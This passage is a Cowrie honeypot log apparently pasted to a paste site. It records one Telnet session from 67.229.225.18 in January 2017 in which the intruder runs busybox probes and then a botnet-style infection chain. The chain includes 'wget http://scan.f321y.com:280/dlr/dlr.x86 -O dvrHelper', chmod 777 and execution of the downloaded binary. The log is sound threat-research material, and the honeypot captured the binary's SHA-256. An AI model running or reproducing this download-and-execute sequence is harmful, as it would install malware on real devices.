  200. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: chmod 777 /sys/dvrHelper
  201. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox ECCHI
  202. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox cat /bin/echo
  203. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /bin/echo
  204. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /bin/echo
  205. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox ECCHI
  206. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox ECCHI
  207. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox wget; /bin/busybox tftp; /bin/busybox ECCHI
  208. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox wget
  209. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: wget
  210. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox tftp
  211. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: tftp
  212. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox ECCHI
  213. 2017-01-18T20:01:43+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox wget http://scan.f321y.com:280/dlr/dlr.x86 -O dvrHelper; /bin/busybox chmod 777 dvrHelper; /bin/busybox ECCHI
  214. 2017-01-18T20:01:43+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox wget http://scan.f321y.com:280/dlr/dlr.x86 -O /sys/dvrHelper
  215. 2017-01-18T20:01:43+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: wget http://scan.f321y.com:280/dlr/dlr.x86 -O /sys/dvrHelper
  216. 2017-01-18T20:01:43+0200 [cowrie.commands.wget.HTTPProgressDownloader#info] Starting factory <HTTPProgressDownloader: http://scan.f321y.com:280/dlr/dlr.x86>
  217. 2017-01-18T20:01:43+0200 [HTTPPageDownloader,client] Downloaded URL (http://scan.f321y.com:280/dlr/dlr.x86) with SHA-256 7a72280e4786692388caae80d9029112c7f8385e9ea0f717fb04e74a72c245ee to dl/7a72280e4786692388caae80d9029112c7f8385e9ea0f717fb04e74a72c245ee
  218. 2017-01-18T20:01:43+0200 [HTTPPageDownloader,client] Command found: /bin/busybox chmod 777 /sys/dvrHelper
  219. 2017-01-18T20:01:43+0200 [HTTPPageDownloader,client] Command found: chmod 777 /sys/dvrHelper
  220. 2017-01-18T20:01:43+0200 [HTTPPageDownloader,client] Command found: /bin/busybox ECCHI
  221. 2017-01-18T20:01:43+0200 [cowrie.commands.wget.HTTPProgressDownloader#info] Stopping factory <HTTPProgressDownloader: http://scan.f321y.com:280/dlr/dlr.x86>
  222. 2017-01-18T20:01:43+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: ./dvrHelper telnet.x86; /bin/busybox IHCCE
  223. 2017-01-18T20:01:43+0200 [CowrieTelnetTransport,17,67.229.225.18] Command not found: ./dvrHelper telnet.x86
  224. 2017-01-18T20:01:43+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox IHCCE
  225. 2017-01-18T20:01:44+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox ECCHI
  226. 2017-01-18T20:01:44+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox ECCHI
  227. 2017-01-18T20:01:44+0200 [CowrieTelnetTransport,17,67.229.225.18] Closing TTY Log: log/tty/20170118-200139-None-17i.log after 4 seconds
  228. 2017-01-18T20:01:44+0200 [CowrieTelnetTransport,17,67.229.225.18] honeypot terminal protocol connection lost [Failure instance: Traceback (failure with no frames): <class 'twisted.internet.error.ConnectionDone'>: Connection was closed cleanly.
  229. 2017-01-18T20:01:44+0200 [CowrieTelnetTransport,17,67.229.225.18] Connection lost after 8 seconds
RAW Paste Data
Top